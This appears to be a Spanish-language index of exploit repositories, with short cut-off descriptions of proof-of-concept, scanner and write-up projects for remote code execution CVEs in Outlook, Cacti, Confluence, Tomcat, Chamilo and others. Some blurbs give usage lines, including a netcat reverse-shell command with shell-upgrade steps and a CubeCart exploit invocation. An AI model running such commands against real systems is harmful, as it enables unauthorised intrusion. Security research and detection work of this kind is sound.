CVE-2017-0108

El componente de gráficos de Windows en Microsoft Office 2007 SP3; 2010 SP2; y Word Viewer; Skype for Business 2016; Lync 2013 SP1; Lync 2010; Live Meeting 2007; Silverlight 5; Windows Vista SP2; Windows Server 2008 SP2 y R2 SP1; y Windows 7 SP1 permite a atacantes remotos ejecutar código...

CVE-2026-12191

CVE-2026-12191 Un exploit de prueba de concepto para CVE-2026-12191, una vulnerabilidad de deserialización insegura en modeld.py de Comma AI Openpilot, que permite a un atacante local con bajos privilegios lograr la ejecución arbitraria de código al proporcionar una carga útil maliciosa de Python...

CVE-2024-21413

CVE-2024-21413 | PoC de Vulnerabilidad de Ejecución Remota de Código en Microsoft Outlook 🚀 Uso Asegúrate de tener los permisos y la autorización adecuados del propietario del sistema objetivo antes de usar este script. Requisitos previos Python 3.x impacket-smbserver Ejemplo de uso sudo python3...

CVE-2020-8813

CVE-2020-8813 El exploit oficial para la ejecución remota de código en Cacti v1.2.8 CVE-2020-8813 Cacti v1.2.8 Ejecución Remota de Código Pre-Autenticación Cacti v1.2.8 Ejecución Remota de Código Post-Autenticación...

CVE-2025-24893

Reverse shell para CVE-2025-24893 python3 CVE-2025-24893.py -u http://wiki.editor.htb/ -c "busybox nc -e /bin/bash" mejorar la shell 1. python3 -c 'import pty; pty.spawn"/bin/bash"' 2. ctrl + z 3. stty size 4. stty raw -echo; fg 5. stty rows x columns y 6. export TERM=xterm...

CVE-2018-8097-PoC

CVE-2018-8097 PoC para CVE-2018-8097. Este script explota CVE-2018-8097 y puede recuperar archivos y contenidos mediante un método de ejecución remota de código RCE ciega basada en tiempo. Uso python cve-2018-8097.py -h -u URL -c COMMAND -t TIME -id OBJECTID -d FILEPATH options: -h, --help show...

CVE-2021-40444

Vulnerabilidad de ejecución remota de código en Microsoft MSHTML CVE-2021-40444 ¿Cómo deshabilitar los controles ActiveX en un sistema individual? 1. Para deshabilitar la instalación de controles ActiveX en Internet Explorer en todas las zonas, pegue lo siguiente en un archivo de texto y guárdelo...

CVE-2023-4220

CVE-2023-4220 PoC Chamilo LMS RCE sin autenticación mediante carga de archivos grandes Este repositorio contiene una prueba de concepto PoC para CVE-2023-4220 , una vulnerabilidad de ejecución remota de código RCE que afecta a Chamilo LMS. Esta vulnerabilidad permite a atacantes no autenticados...

CVE-2024-4577-checker

Comprobador de Vulnerabilidad CVE-2024-4577 El Comprobador de Vulnerabilidad CVE-2024-4577 es un script de Bash diseñado para escanear múltiples dominios en busca de la vulnerabilidad CVE-2024-4577 en PHP-CGI. Esta herramienta permite a los investigadores de seguridad y administradores de sistema...

ai-code-review

🔍 codereview Revisión de código impulsada por IA en tu terminal. Un comando. Comentarios instantáneos. Detecta vulnerabilidades de seguridad, errores y malas prácticas antes de que lleguen a producción. Instalación · Inicio rápido · Uso · Proveedores · Contribuir Qué hace codereview envía tu códi...

CVE-2025-55182

CVE-2025-55182 Escáner y Laboratorio de Explotación Este repositorio contiene una herramienta integral de escaneo y explotación para CVE-2025-55182 , una vulnerabilidad crítica de Ejecución Remota de Código RCE en React Server Components RSC. También incluye un "Entorno de Laboratorio" realista...

laravel-poc-CVE-2018-15133

Ejecución remota de código en Laravel cuando se filtra APPKEY PoC CVE-2018-15133 Este repositorio contiene una aplicación simple de Laravel 5.6.29 en PHP 7.2.10 con una ruta noop básica añadida en routes/web.php ver Dockerfile y un exploit de Prueba de Concepto cve-2018-15133.php para...

CVE-2025-24813-PoC

CVE-2025-24813-PoC Script de detección masiva de la vulnerabilidad de ejecución remota de código en Apache Tomcat CVE-2025-24813 Descargo de responsabilidad: La vulnerabilidad descrita en este documento y sus pasos de reproducción se proporcionan únicamente con fines de investigación y educación ...

CVE-2020-0796

CVE-2020-0796: SMBGhost - Análisis y Explotación Ética Introducción CVE-2020-0796, también conocido como "SMBGhost", es una vulnerabilidad de seguridad crítica que afecta a los sistemas operativos Microsoft Windows. Pertenece a la categoría de "gusano", lo que significa que puede propagarse...

CVE-2024-1642470

Vulnerabilidad de ejecución remota de código en el controlador principal genérico USB de Windows CVE-2024-1642470 Descripción general Este repositorio contiene un código de explotación de prueba de concepto PoC y un script de detección para la vulnerabilidad de ejecución remota de código en el...

CVE-2022-26134

CVE-2022-26134 - Vulnerabilidad de inyección OGNL: Script de prueba de concepto que explota la vulnerabilidad de ejecución remota de código que afecta a Atlassian Confluence 7.18 y versiones anteriores. La vulnerabilidad de inyección OGNL permite a un usuario no autenticado ejecutar código...

Blackash-CVE-2025-53833

🚨 CVE-2025-53833 — Crítica ⚠️ SSTI ➜ RCE en LaRecipe Versiones 2.8.1 📌 Descripción general ID de vulnerabilidad : CVE-2025-53833 Componente afectado : LaRecipe un generador de documentación basado en Laravel Versiones afectadas : Todas las versiones anteriores a 2.8.1 Tipo de vulnerabilidad :...

CVE-2024-33438

Carga Arbitraria de Archivos Conduce a RCE CVE-2024-33438 CubeCart Después de ejecutarlo, esta es la salida esperada para una explotación exitosa: python3 CubeCartCVE.py http://localhost/admin0Kqnr9.php admin 123456 whoami ,----. ||/ '. / O|| /| / "" / / // / launching exploit ||/ please wait... ...

CVE-2022-31691

CVE-2022-31691 Un análisis de mi hasta ahora inconcluyente investigación sobre CVE-2022-31691. Antecedentes Soy usuario frecuente de Spring Tool Suite STS para Eclipse y suelo confiar en él para inicializar nuevos proyectos Spring Boot. Esta vulnerabilidad ver...

Article-RegreSSHion-CVE-2024-6387

RegreSSHion CVE-2024-6387: Critical Remote Code Execution Vulnerability in OpenSSH In an era where digital security is crucial, a new vulnerability in OpenSSH, identified as CVE-2024-6387, has drawn the attention of system administrators and security professionals worldwide. Named "regreSSHion,"...